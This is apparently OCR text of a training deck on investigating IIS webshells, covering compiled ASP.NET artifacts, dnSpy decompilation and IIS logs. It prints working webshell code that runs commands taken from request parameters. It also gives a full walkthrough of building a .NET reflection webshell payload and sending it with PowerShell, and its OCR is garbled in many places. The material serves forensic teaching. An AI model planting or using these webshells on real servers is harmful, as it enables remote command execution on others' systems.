\WINDOWS\Microsoft. Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0_b77a5c561934¢089\System. Data.dil
icrosoft. Net\assembly\GAC_MSIL\System.Data.DataSetExtensions\v4.0_4.0.0.0__b77a5¢561934€089\System.Data. DataSetExtensions.dil
Microsoft. Net\assembly\GAC_MSIL\System.Data. Services.Design\v4.0_4.0.0.0_b7725c561934e089\System. Data. Services. Design.dil
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\System.Design|\v4.0_4.0.0.0__bo3f5f7f11d50a3a\System. Design.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__bO3f5f7f11d50a3a\System.Drawing.dil
Microsoft. Net\assembly\GAC_64\System. EnterpriseServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System. EnterpriseServices.dl
Microsoft. Net\assembly\GAC_MSIL\System. IdentityModel\v4.0_4.0.0.0__b77a5¢561934€089\System. IdentityModel.dil
\WINDOWS\Microsoft. Net\assembly\GAC_MSIL\System. Runtime.Caching\v4.0_4.0.0.0_b03f5f7f11d50a3a\System.Runtime. Caching.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System. Runtime. Serialization\v4.0_4.0.0.0__b77a5¢561934e089\System. Runtime. Serialization. il
icrosoft. Net\assembly\GAC_MSIL\System. ServiceModel\v4.0_4.0.0.0__b77a5¢561934€089\System. ServiceModel.dil
WINDOWS\Microsoft. Net\assembly\GAC_MSIL\System. ServiceModel. Activation\w.0_4.0.0.0_31bf38562d364e35\System. ServiceModel. Activation.dil
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel. Activties\v4.0_4.0.0.0__31b3856ad364e35\System. ServiceModel. Activities.dll
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel.Web\v4.0_4.0.0.0__31bf3856ad364€35\System. ServiceModel.Web.dil
\WINDOWS\Microsoft.Net\assembly\GAC_64\System.Web\v4.0_4.0.0.0_b03f5f7f11d50a3a\System.Web.dil
embly\GAC_MSIL\System.Web.ApplicationServices\w.0_4.0.0.0_31bf3856ad364e35\System. Web.ApplicationServices.dl
embly\GAC_MSIL\System.Web.DynamicData\w4.0_4.0.0.0_31bf3856ad364e35\System. Web.DynamicData.dil
\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Web.Entity\v4.0_4.0.0.0__b77a5¢561934e089\System. Web.Entity.dil
WS\Microsoft.Net\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System. Web. Extensions.dil
\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Web.Mobile\w.0_4.0.0.0_b03fSf7f115023a\System.Web.Mobile.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Web.RegularExpressions\v4.0_4.0.0.0_b03f5f7f11d50a3a\System. Web.RegularExpressions.dil
/eb.Services.dil
\WINDOWS \Microsoft.Net\assembly\GAC_MSIL\System.Workflo R ystem. WorkflowServices.dll
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Xami\v4.0_4.0.0.0__b7725¢5619342089\System.Xaml.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Xmi\v.0_4.0.0.0__b77a5¢561934e089\System.Xml.dil
WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Xml.Ling\v4.0_4.0.0.0_b77a5c561934e089\System.Xml.Ling.dll
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Investi

NETT

I hash

B App_Web_ohhf1gko.dil

B App_Web_tcs3bbng.dll

B App_Web_tcs3bbng.0.cs

¢/ App_Web_tcs3bbng.1.cs

o/ App_Web_tcs3bbng.2.cs

| tcs3bbng.cmdline

El cmd.aspx.cdcab7d2.compiled

[ ] keys.aspx.cdcab7d2.compiled

=l login.aspx.cdcab7d2.compiled

B process.aspx.cdcab7d2.compiled

[ ] shell.aspx.cdcab7d2.compiled

| test.aspx.cdcab7d2.compiled

B zeroed.aspx.cdcab7d2.compiled

[ ] tes3bbng.err

. tcs3bbng.out
App_Web_tcs3bbng.pdb

[ ] tes3bbng.tmp

[ ] preStartinitList.web

Date modified

9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM
9/08/2024 7:44 AM

9/08/2024 7:44 AM

Type Size

File folder
Application extension
Application extension
C# Source File

C# Source File

C# Source File
CMDLINE File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File
COMPILED File

ERR File

OUT File

PDB File

TMP File

WEB File

18 KB

11 KB

17 KB

10 KB

2 KB

4 KB

1KB

1KB

1KB

1KB

1KB

1KB

1KB

0 KB

5KB

28 KB

0 KB

1KB

acts
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Investigation - Webshell Compilation Artifacts

C: > Windows > Microsoft.NET > Framework64 > v4.0.30319 > Temporary ASP.NET Files > root > e22¢2559 > 92¢7e946 >

namespace
#line
using
#line
#line
#line
using
#line
#line
#line
using
#line
#line
#line
using
#line
#line
#line
using

rrrrrrrrrrrrrrrrrrrrr

ASP {

331 "C:\Windows\Microsoft.NET\Framework64\v4.0.3@319\Config\web.config"
System.Ling;

default
hidden
2 "C:\inetpub\mwuroot\cmd. aspx”

System.Diagnostics;

default
hidden

338 "C:\Windows\Microsoft.NET\Framework64\v4.e.3@319\Config\web.config"
System.Web.Security;

default
hidden

329 "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config"
System.ComponentModel .DataAnnotations;

default
hidden

327 "C:\Windows\Microsoft.NET\Frameworke64\v4.0.38319\Config\web.config"
System.Collections.Generic;

App_Web_tcs3bbng.0.cs > ...

ZEROED.TECH



#line 337 "C:\Windows\Microsoft.NET\Framework64\v4.8.38319\Config\web.config"
using System.Web.SessionState;

Inv #line default S

#line hidden

#line 329 "C:\Windows\Microsoft.NET\Frameworké64\v4.0.3@8319\Config\web.config"
using System.ComponentModel.DataAnnotations;

#line default
#line hidden

[System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
6 references
public class cmd_aspx : global::System.Web.UI.Page, System.Web.SessionState.IRequiresSessionState, System.Web.IHttpHandler {

2 references
private static bool @__initialized;

2 references
private static cbject @__fileDependencies;

[System.Diagnostics.DebuggerNonUserCodeAttribute() ]
0 references
public emd_aspx() {
string[] dependencies;
((global::System.Web.UI.Page)(this)).AppRelativeVirtualPath = "~/cmd.aspx”;
if ((global::ASP.cmd_aspx.@__initialized == false)) {
dependencies = new string[1];
dependencies[8] =

~/cmd.aspx”;
global::ASP.cmd_aspx.@__fileDependencies = this.GetWrappedFileDependencies(dependencies);
global::ASP.cmd_aspx.@__initialized = true;

)

this.Server.ScriptTimeout = 300000080; B e



Investi

I reieience

private void @_Render__controll(System.Web.UI.HtmlTextWriter @ w, System.Web.UI.Control parameterContainer)

#line 6 "C:\inetpub\wwwroot\cmd.aspx"

var output = "";
var error = ""
switch(Request.Params[ “function”]){
case "cmd":{
Process process = new Process();
process.StartInfo.FileName = "cmd";
process.StartInfo.Arguments = "/c "+Request.Params["cmd"];
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardoutput = true;
process.StartInfo.RedirectStandardError = true;
process.Start();
output += process.Standardoutput.ReadToEnd();
error += process.Standarderror.ReadToEnd();
process.WaitForexit();
break;
}
case "whoami":{
string userName = System.Security.Principal.windowsIdentity.GetCurrent().Name;

string sid = System.Security.Principal.WindowsIdentity.GetCurrent().Owner.ToString();

output += "User: "+userName+"\nSID: "+sid;
break;
}
case "dir":{
StringBuilder sb = new StringBuilder();
var targetPath = Request.Params["path"];
var formatString = "{0,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";

sb.AppendLine(string.Format(formatString, "Name", “"Last Access Time", "Last Write Time", "Creation Time",

sb.AppendLine("====

"size™));

foreach(var path in Directory.GetDirectories(targetPath))

r
L

var directory = new DirectoryInfo(path);

sb.AppendLine(string.Format(formatString, directory.Name, directory.lLastAccessTimeUtc, directory.LastWriteTimeUtc, directory.CreationTimeUtc,

1
i

foreach (var path in Directory.GetFiles(targetPath))
[

t
var file = new FileInfo(path);

sb.AppendLine(string.Format(formatString, file.Name, file.LastAccessTimeUtc, file.LastWwriteTimeUtc, file.CreationTimeUtc, file.Length));

}
output += sb.ToString();
break;

}

Response.Write("<pre>");
Response.Write(Httputility.HtmlEncode(output));
Response.Write(Httputility.HtmlEncode(error));
Response.Write("<pre>");

#line default
#line hidden

facts
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Investigation - Debug Shells

* Veryrare to find
 Shell declared with <%@ Page Language="C#" Debug="true" %>

* |IS doesn't cleanup until a request is made



Investigation

C: > Windows > Microsoft.NET > Framework64 > v4.0.30319 > Temporary ASP.NET Files > root > e22¢c2559 > 92c7e946 > B cmd.aspx.cdcab7d2.compiled

1 <’xml version="1.8" encoding="utf-8"
<preserve resultType="3" virtualPath="/cmd.aspx” hash="1e082a6995" filehash="11e9e96a91be” flags="110000" assembly="App Web 2vodaeqa" type="ASP.cmd_aspx™>

<filedeps>

<filedep name="/cmd.aspx”

ZEROED.TECH



https://qgithub.com/dnSpyEx/dnSpy

Investigation - Assemblies

Assembly Explorer ¥ X App_Web_cd1
4 [ App_Web_cd1t4113 (0.0.0.0) /

.NET Files\root\e22c255

4 25 App Web cd1t4113.d ublicKeyToken=null
b2 PE
P 80 Type References
P o0 References .
b{} - s%”g System; .
b () Asp sing System.CodeDom.Compiler;
b{} Asp sing System.Reflection;
- sing System.Runtime.CompilerServices;
sing System.Runtime.Versioning;
sing System.Security;
AssemblyVersion("0.8.8.8")]
GeneratedCode("ASP.NET", "4.8.38319.42008")]
SecurityRules(SecurityRuleSet.level2)]
CompilationRelaxations(8)]
RuntimeCompatibility( = true)]

TargetFramework(".NETFramework,Version=v4.8")]
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https://github.com/dnSpyEx/dnSpy

Investigation - Assemblies

Assembly Explorer + x * All ASPX files compiled into one assembly
<80 App. Wb cd 114113 bi00) - Modification of any ASPX causes recompilation of
b 29 pE all
P 0 Type References . ' i i
b o0 References * Old assemblies aren't deleted until IIS terminates
bl):- * Might be able to diff assemblies to work out what
4 {} Asp h q
b 48 cmd_aspx @02000006 change
b g keys_aspx @02000002 * |fthe change was within webshell code,
> %8 login_aspx @02000004 the timestamp may be relevant
b 48 process_aspx @02000005
b 48 shell_aspx @02000003
b 4g test aspx @02000008
b 4 zeroed_aspx @02000007
b{} _Asp

ZEROED.TECH



Investigation - Assemblies

Assembly Explorer
4 (9 App_Web_u41nld0g (0.0.0.0)
4 App_Web_u41nid0q.d
b PE

P o0 Type References
P o0 References
>{} -

4 {} Asp

- @02000002
« @02000005
« @02000004
4 px @02000008
b{} _As
4 (J App_Web_pntcgpvo (0.0.0.0)
4 App_Web_pntcgpvo.d
b PE
P o0 Type References
P o0 References
b{} -
4 {} Asp
b 48 cmd1_aspx @02000002
b{} _Asp

¥ X App_Web_pntcgpvo (0.0.0.0)

> System;
; System.CodeDom.Compiler;
ng System.Reflection;
s System.Runtime.CompilerServices;
; System.Runtime.Versioning;
; System.Security;

: AssemblyVersion("©.0.0.0")]

: RuntimeCompatibility(

: CompilationRelaxations(8)]

e

: GeneratedCode("ASP.NET", "4.0.30319.42000")]

: TargetFramework(".NETFramework,Version=v4.0")]

: SecurityRules(SecurityRuleSet.
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Investigation - Assemblies

public class cmd aspx age, IReq
i
[ Token: OxP6BEEBEF RID: 15 RVA: 8x0000238BC File Offset: 8x8000058C
[DebuggerNonUserCode ]
public cmd_aspx()
i
base. = "~/cmd.aspx";
if (lcmd _aspx. initialized)
i
cmd_aspx. fileDependencies = base.GetWrappedFileDependencies{new string[] { "~/cmd.aspx" });
cmd_aspx. initialized = true;
¥
¥
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private void _ Render__controll(HtmlTextWriter __w, Control parameterContainer)

i
string text = "
text2 = 8
Y E text3;
if ((text3 = ) . ["function"]) != null)
ecompiie ource
if (I(text3 == "cmd"))
{
if (!(text3 == "whoami"))
1
if (text3 == "dir")
i
StringBuilder stringBuilder = new StringBuilder();
textd = . . ["path"];
text5 = "{0,-25}\t{1,-20}\t{2,-20\t{3,-20}\t{4}";
stringBuilder.AppendLine(string.Format(text5, new object[] { "Name", "Last Access Time", "Last Write Time", "Creation
Time", "Size" }));
stringBuilder.Appendline
(string text6 in _GetDirectories(textd))
DirectoryInfo directoryInfo = new DirectoryInfo(text6);
stringBuilder . Appendline(string.Format(textS, new object[] { directoryInfo. , directoryInfo. .
directoryInfo. , directoryInfo. > " P);
(string text? in es(textd))
FileInfo fileInfo = new FileInfo(text7);
stringBuilder.Appendline(string.Format (textS, new object[] { fileInfo. , fileInfo. )
fileInfo. , fileInfo. , fileInfo. 1308
I
text += stringBuilder.ToString();
¥
¥
else
i
string name = WindowsTIdentity 5
text8 = WindowsIdentity. .ToString();
2 text9 = text;
text = string.Concat(new string[] { text9, "User: ", name, "\nSID: ", text8 })
¥
¥
else
1
Process process = new Process();
process. > =
process. . = ["emd"];
process.
process.
process.
process.Start();
text += process. .ReadToEnd();
text2 += process. -ReadToEnd();
process _WaitForExit();
i3

Write("<pre>");
.Write(HttpUtility.HtmlEnco
.Write(HttpUtility.HtmlEnco
Write("<pre>");

e(text));
e(text2));




Exercise
* Review your lIS logs under C:\inetpub\logs\LogFiles\

* Review .cs files under the code gen directory
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Temporary ASP.NET

Files\root\[RAND]\[RAND]

* Install DNSpy and analyse an App_Web_[RAND].dll file from the code gen
directory
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Process Trees

Investigation

ANALYZED EVENT - RUNNING PROCESS

w3wp.exe

24 file 9 library

1registry

TERMINATED PROCESS
cmd.exe

.3,'01
7
TERMINATED PROCESS
cmd.exe

£
iy,

e,
o,
ey,

TERMINATED PROCESS
conhost.exe

75
&3
iy,
Se,

€,
A

‘;"Ow.
4 TERMINATED PROCESS
cmd.exe

ity TERMINATED PROCESS
whoami.exe

TERMINATED PROCESS
conhost.exe

TERMINATED PROCESS
calc.exe
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Reflectively loading .NET assemblies



Loading Assemblies

* Load afile from disk
* Assembly.LoadFile("filepath"); [l

* Global Assembly Cache (GAC)
* Assembly.Load("ASM Name"); I2

* Load a byte array
* Assembly.Load(byte[]); I

[1] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile
[2] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?#system-reflection-assembly-load(system-string)
[3] https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.load?#system-reflection-assembly-load(system-byte())
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https://learn.microsoft.com/en-us/dotnet/api/system.reflection.assembly.loadfile

o\©

o\°

o°

o\°

.NET Reflection Webshell

Page Language="C#"%>

Import Namespace="System.Reflection" %>

var encodedAssembly = Convert.FromBase64String (Request.Params|["asm"]) ;

var asm = Assembly.Load (encodedAssembly) ;

asm.Createlnstance ("Payload") ;

Code
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Create a new project
N

Recent project templates

"

Class Library (MET Framewaork])

‘| ASP.NET Web Application (.NET Framework)

Bi Console App

gEPe

M5! Package

Setup Wizard

Console App

Dynamic-Link Library (DLL)

CMake Project

Empty Project

ASP.MET Core gRPC Service

Class Library

C#

C#

C++

WiX

C#

C++

C++

C++

C#

C#

- O >

MNET Framework X Clear all

c# - Windows - Library -

ni‘“ Class Library (.NET Framework]
% ! A project for creating a C# class library (.dlIl)

C# Windows Library

Ei:‘ WPF Custom Control Library (.MET Framework)
<m> ! Windows Presentation Foundation custom control library

C# XAML Windows Desktop Library
#5* WPF User Control Library (NET Framewark)
s | Windows Presentation Foundation user control library
C# MAML Windows Desktop Library
£® Windows Forms Control Library (.NET Framework)
EHJ A project for creating controls to use in Windows Forms (WinForms) applications

C# Windows Desktop Library

Other results based on your search

€8 Windows Forms App (NET Framewark)

A project for creating an application with a Windows Forms (WinForms) user
interface

C# Windows Desktop

Back MNext
IED.TECH



Configure your new project

Class Library (NET Framework) ¢

Project name

Windows

Library

| Payload

Location

Ch\Users\Zeroed\source\repos

Solution name (@)

Payload
D Place solution and project in the same directory

Framework

.MET Framework 4.8

Project will be created in "C\Users\Zeroed\source\repos\Payload\Payload\"

Back

Create

ED.TECH



- Confiaure vour new pbroiect

13

SR, )

” File Edit View Git Project Build Debug Test Analyze Tools  Extensions Window  Help L Search - Payload
L@ - H-e B A © - Debug ~ AnyCPU s Psat-D - B R oY WE =% [
Classl.cs & X - i
%] Payload ~ 2 Payload.Class1 = | =
1 vusing System; .
2 using System.Collections.Generic;
3 using System.Linq;
u using System.Text;
5 | using System.Threading.Tasks;
6
7 ~vnamespace Payload
8 i
0 references
9 public class Classl
18 1
1 |}
12 H



.NET Reflection Payload - Visual Studio e

using System.Web;

public class Payload

{

public Payload()

{
var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;
var param = Request.Params["name"];
Response.Write($"Hello {param}");

}
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.NET Reflection Payload - Visual Studio

using System.Web; - #  Solution Explorer ~ 0 x
+ B o-s0OOE Fe
public class Payload “_ Search Solution Explorer (Ctrl+;) 2
5 Solution 'Payload' (1 of 1 project)
m
public Payload() 4 Payload
{ b Properties

4 &7 References
Add Reference...

Add Service Reference...
Add Analyzer...
[ '@ Manage NuGet Packages...

var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

var param = Request.Params["name"];

Response.Write($"Hello {param}");
} L B Collapse All Descendants Ctrl+Left Arrow

} Scope to This

3 New Solution Explorer View

Build > Build [PROJECT NAME]
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Reference Manager - Payload

NI 4 Accemblies
[ ]

Framework

using Extensions

Search Results
pu bli Recent

{ P Projects
F I Shared Projects

b COM

P Browse

—

Bu

MName

Systemn.Web
System.Web.Abstractions
Systern.Web.ApplicationServices
Systern.Web.DataVisualization
System.Web.DataVisualization.Design
System.Web.DynamicData
Systern.Web.DynamicData.Design
Systern.Web.Entity
System.Web.Entity.Design
Systern.Web.Extensions
Systern.Web.Extensions.Design
Systern.Web.Mobile
System.Web.RegularEx pressions
Systern.Web.Routing
Systern.Web.Services

Yersion
4,000
4.0.0.0
4000
4000
4.0.0.0
4.0.0.0
4.0.0.0
4,000
4.0.0.0
4000
4000
4,000
4.0.0.0
4000
4,000

system.web X -

Mame: > 0 x
Systern.Web

Created by:

Microsoft Corporation

Version: P-
4.0.0.0

File Version:

4.8.3761.0 built by: METASREL1

t Arrow

- ROED.TECH



Reference Manager - Payload

NI 4 Assemblies system.web
°

W -
usin Framework Mame Version Mame: -0 x
£ Extensions o System.Web 4.0.0.0 Systern.Web
Search Results System.Web.Abstractions 4.0.0.0 Created by:
: Systern.Web.ApplicationServices 4.0.0.0 Microsoft Corporation
R t . -
?U bl] =een Systern.Web.DataVisualization 4.0.0.0 Version: L
Show cutput from:  Build

[
[

Elm|@

Build started: Project: Payload, Configuration: Debug Any (PU ------
1 \Usersi\Zeroedy source\ repos\Payload\Payload\Class1.cs(3,14,3,21): warning CS@659: 'Payload’

Payload -> C: \User‘s\Zeroed\source\r‘epos\Palead\Payload\bln\DEbug\F‘alead dll
Build: 1 succeeded, @ failed, @ up-to-date, @ skipped =

Build completed at 6:25 PM and took @1.882 seconds ====

Build started at 6:25 PM...

overrides Object.Eguals(object o) but does not override Object.GetHashCode()

- ROED.TECH



.NET Reflection Payload - Manual

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library .\payload.cs

Microsoft (R) Visual C# Cbmpiler version 4.8.9232.0

for C# 5

Copyright (C) Microsoft Corporation. ALl rights reserved.
This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer t
he latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533
240

payload.cs(10,26): error CS1056: Unexpected character '$§'

— HttpContext.Current.Response.Write ($"Hello {param}");
+ HttpContext.Current.Response.Write ("Hello "+param) ;
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.NET Reflection Payload - Encoding

C O D 127001

Server Error in '/' Application.

The length of the query string for this request exceeds the configured maxQueryStringLength value.

Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

Exception Details: System Web. HttpException: The length of the query string for this request exceeds the configured maxQueryStringLength value.

Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace:

[HttpException (©x80004005): The length of the query string for this request exceeds the configured maxQueryStringlLength value.]
System.Web.HttpRequest.ValidateInputIfRequiredByConfig() +11821238
System.Web.PipelineStepManager.ValidateHelper(HttpContext context) +54

Version Information: Microsoft NET Framework Version:4.0.30319; ASP.NET Version:4.8.9232 0
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Command

.NET Reflection Payload - Encoding

* This command:
* Baseb4 encodes our assembly
* Sends a POST request to our webshell including:

* Qut encoded assembly
* Our name parameter

* Displays the output

$asm = [Convert]::ToBase64String([I0.File]::ReadAllBytes("ASM PATH"))
$payload = @{asm=$asm; name="Name"}

Invoke-WebRequest -Uri http://127.0.0.1/reflection.aspx -Method POST -Body
$payload | select -Expand Content
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Command

.NET Reflection Payload - Encoding

* This command:
* Baseb4 encodes our assembly
* Sends a POST request to our webshell including:

e Ot encnded aceemhlvy

PS C:\Users\Zeroed> $asm = [Convert]::ToBase6UString([I0.File]: :ReadAllBytes("C:\Users\Zeroed\source\repos\Payload\Paylo
ad\bin\Debug\Payload.dl1"))
PS C:\Users\Zeroed> $payload @{asm=$asm; name="Adrian"}
PS C:\Users\Zeroed> Invoke-WebRequest http://127.0.0.1/reflection.aspx POST $payload | select
Content
Hello Adrian
PS C:\Users\Zeroed> |

$asm = [Convert]::ToBase64String([I0.File]::ReadAllBytes("ASM PATH"))
$payload = @{asm=$asm; name="Name"}

Invoke-WebRequest -Uri http://127.0.0.1/reflection.aspx -Method POST -Body
$payload | select -Expand Content
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.NET Reflection Payload - dir Code

using System.IO;
using System.Text;
using System.Web;

public class Payload
{
public Payload()
{
var Request = HttpContext.Current.Request;
var Response = HttpContext.Current.Response;

StringBuilder sb = new StringBuilder();
var targetPath = Request.Params["path"];
var formatString = "{0,-25}\t{1,-20}\t{2,-20}\t{3,-20}\t{4}";
sb.AppendLine(string.Format(formatString, “Name", "Last Access Time", "Last Write Time", "Creation Time", "Size"));
sb.AppendLine( "=====================================================SsSSS=SsSSSSSSSSSsSSsSSSs==ss=Sss=ss=sss=s=sss===s==================" ) ;
foreach (var path in Directory.GetDirectories(targetPath))
{
var directory = new DirectoryInfo(path);
sb.AppendLine(string.Format(formatString, directory.Name, directory.LastAccessTimeUtc, directory.LlLastWriteTimeUtc,
directory.CreationTimeUtc, ""));

¥
foreach (var path in Directory.GetFiles(targetPath))
{
var file = new FileInfo(path);
sb.AppendLine(string.Format(formatString, file.Name, file.LastAccessTimeUtc, file.LastWriteTimeUtc, file.CreationTimeUtc, file.Length));
¥

Response.Write(sb.ToString());
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PS C: \Users\Zeroed\Desktop> Invoke-WebRequest

http://127.0.0.1/reflection.aspx

POST

@fasm-[Convert]:

:ToBase6UString([IO.

File]::ReadAllBytes("C:\Users\Zeroed\source\repos\IIS Training\Payloads\bin\Release\Payloads.dl1")); path="C:\"} | select Content
Name Last Access Time Last Write Time Creation Time Size
$GetCurrent 6/08/2024 10:28:29 AM  20/02/2023 11:04:07 AM 20/02/2023 10:26:06 AM
$Recycle.Bin 8/08/2024 10:51:54 PM  7/05/2022 8:15:03 PM 5/06/2021 12:10:48 PM
$WINDOWS.~BT 6/08/2024 10:28:29 AM  27/03/2024 10:42:52 PM 27/03/2024 10:42:49 PM

$Windows . ~WS 6/08/2024 10:28:29 AM  25/03/2024 6:21:10 AM  25/03/2024 6:21:10 AM
$WinREAgent 6/08/2024 10:28:29 AM 10/07/2024 10:57:23 AM 10/07/2024 10:55:52 AM

AMD 6/08/2024 10:28:29 AM  4/08/2024 6:19:21 AM 13/01/2023 6:06:42 AM

android 6/08/2024 10:28:29 AM 10/02/2024 2:57:10 AM 10/02/2024 2:57:10 AM

Config.Msi 9/08/2024 3:09:52 AM 9/08/2024 3:09:52 AM 6/08/2024 10:17:47 AM

Documents and Settings 7/05/2022 5:09:36 PM 7/05/2022 5:09:36 PM 7/05/2022 5:09:36 PM

ESD 6/08/2024 10:28:29 AM 25/03/2024 7:00:46 AM 25/03/2024 4:44:31 AM

inetpub 9/08/2024 4:11:31 AM 7/06/2024 11:52:20 PM  20/02/2023 10:43:44 AM

libs 6/08/2024 10:28:29 AM 3/07/2024 5:58:35 AM 19/12/2023 4:45:16 AM

msys64 8/08/2024 9:47:57 PM 30/06/2024 7:15:42 AM  11/605/2022 12:49:53 PM

PerflLogs 9/08/2024 3:39:12 AM 7/05/2022 5:24:50 AM 7/05/2022 5:24:50 AM

Program Files 9/08/2024 4:12:31 AM 8/08/2024 9:51:11 PM 7/05/2022 5:24:50 AM

Program Files (x86) 9/08/2024 4:05:01 AM 6/08/2024 10:20:10 AM  7/05/2022 5:24:50 AM

ProgramData 9/08/2024 3:09:20 AM 2/06/2024 12:02:36 AM 7/05/2022 5:24:50 AM

Recovery 10/07/2024 10:57:24 AM 14/07/2023 3:01:32 AM  7/05/2022 5:09:37 PM

Ruby32-x64 6/08/2024 10:28:29 AM 27/08/2023 1:32:01 AM 27/08/2023 1:31:44 AM

src 6/08/2024 10:28:29 AM  14/05/2022 12:02:05 AM 7/05/2022 9:39:54 PM

System Volume Information 9/08/2024 3:00:49 AM 7/08/2024 10:15:00 PM  7/05/2022 5:07:57 PM

temp 6/08/2024 10:28:30 AM 2/12/2022 5:59:31 AM 2/12/2022 5:59:31 AM

Users 9/08/2024 4:12:31 AM 16/07/2024 6:16:55 AM  7/05/2022 5:17:22 AM

Windows 9/08/2024 4:07:27 AM 20/07/2024 3:09:25 AM 7/05/2022 5:17:22 AM

XboxGames 9/08/2024 3:33:53 AM 12/09/2023 4:01:08 AM  12/12/2022 6:03:23 AM
ysoserial.net 6/08/2024 10:28:30 AM  21/07/2023 4:54:18 AM  21/07/2023 4:54:17 AM
.GamingRoot 9/08/2024 2:59:38 AM 12/12/2022 6:03:23 AM 12/12/2022 6:03:23 AM 28
appverifUI.dll 7/08/2024 7:14:03 AM 21/02/2024 3:33:48 PM  21/62/2024 3:33:48 PM 112136
DumpStack. log 29/08/2023 1:08:40 AM 26/08/2023 3:42:26 AM 7/05/2022 5:07:59 PM 12288
DumpStack.log.tmp 4/08/2024 6:19:23 AM 4/08/2024 6:19:23 AM 7/05/2022 5:07:59 PM 12288
hiberfil.sys 4/08/2024 6:19:21 AM 4/08/2024 6:19:21 AM 7/05/2022 5:09:31 PM 13635358720
pagefile.sys 4/08/2024 6:19:21 AM 4/08/2024 6:19:21 AM 7/05/2022 5:07:57 PM 27917287424
swapfile.sys 4/08/2024 6:19:23 AM 4/08/2024 6:19:23 AM 7/05/2022 5:07:59 PM 16777216
vfcompat.dll 14/07/2024 1:04:07 AM 21/02/2024 3:34:14 PM 21/02/2024 3:34:14 PM 66328
viewstate.txt 11/03/2024 9:33:28 AM  11/03/2024 9:33:28 AM  9/03/2024 11:02:08 PM 21
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.NET Reflection Payload - Conclusion

Reflection based payloads allow for targeted capability deployment
Reduced risk to attackers toolset

Nicer development environment

Easier to test external to IIS

Better
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Investigating .NET Reflection - 1IS Logs

#Software: Microsoft Internet Information Services 10.0
#version:
#Date:

#Fields:

1.0
2024-08-09 00:13:37

date
2024-08-09

ea:
e4:
0e4:
e4:
e4:
e4:
ea:
e4:

time s-sitename s-ip cs-method cs-uri-stem cs-uri-query s-port c-ip cs-version cs(User-Agent) cs(Referer) cs-host sc-status sc-substatus sc-win32-status sc-bytes cs-bytes
0.0.

02:
e7:
07:
08:
e8:
es8:
12:
18:

35
34
46
o4
11
17

w
-3

24

W3svC1
W3svci
W3svcl
W3svci
W3svci
W3svC1
W3svC1
W3svci

127.0.0.1
127.0.90.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1
127.0.0.1

GET /reflection.aspx ...

POST
POST
POS
POST
POST
POS
POST

=

=

80 127.0.0.1 HTTP/1.1 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64;+rv:128.0)+Gecko/20100101+Firefox/128.0 -

/reflection.aspx - 80

/reflection.
/reflection.
/reflection.
/reflection.
/reflection.
/reflection.

aspx - 80
aspx 80
aspx - 80
aspx - 80
aspx - 80
aspx - 80

127
127
127
127
127
127
127

.0.
.0.
.0.
.0,
.0.
.0.
.0.

P00 O®®
R e

HTTP/1.1
HTTP/1.1
HTTP/1.1
HTTP/1.1
HITP/1.1
HTTP/1.1
HTTP/1.1

Mozilla/5.0+(Windows+NT; +Windows+NT+10.0; +en-
Mozilla/5.0+(Windows+NT; +Windows+NT+10.0;+en-

Mozilla/S.0+(Windows+NT; +Windows+NT+10.0; +en
Mozilla/5.0+(Windows+NT ; +Windows+NT+10.0; +en
Mozilla/5.0+(Windows+NT ; +Windows+NT+10.0;+en

Mozilla/5.0+(Windows+NT ; +Windows+NT+10.0; +en-
Mozilla/5.0+(Windows+NT ; +Windows+NT+10.0; +en-

AU) +WindowsPowershell/5.1.22621.
AU)+WindowsPowerShell/5.1.22621.
AU)+WindowsPowershell/5.1.22621.
AU) +WindowsPowerShell/5.1.22621.
AU) +WindowsPowershell/5.1.22621.
AU)+WindowsPowershell/5.1.22621.
AU) +WindowsPowershell/5.1.22621.

3880 -
3880 -
3880 -
3880 -

3880
3880

3880 -

127.
127.
127.
127.
127.
127.
127.
127.

0.
0.
9.
0.
0.
0.
0.

PO

R e e

400
200
200
200
200
200
200
200

2}

)
2}
2]
]
o
0
0

2]
(2]
2]
(]
0
2]
0
(2]

time-taken ScriptName ApplicationPoolPhysicalPath
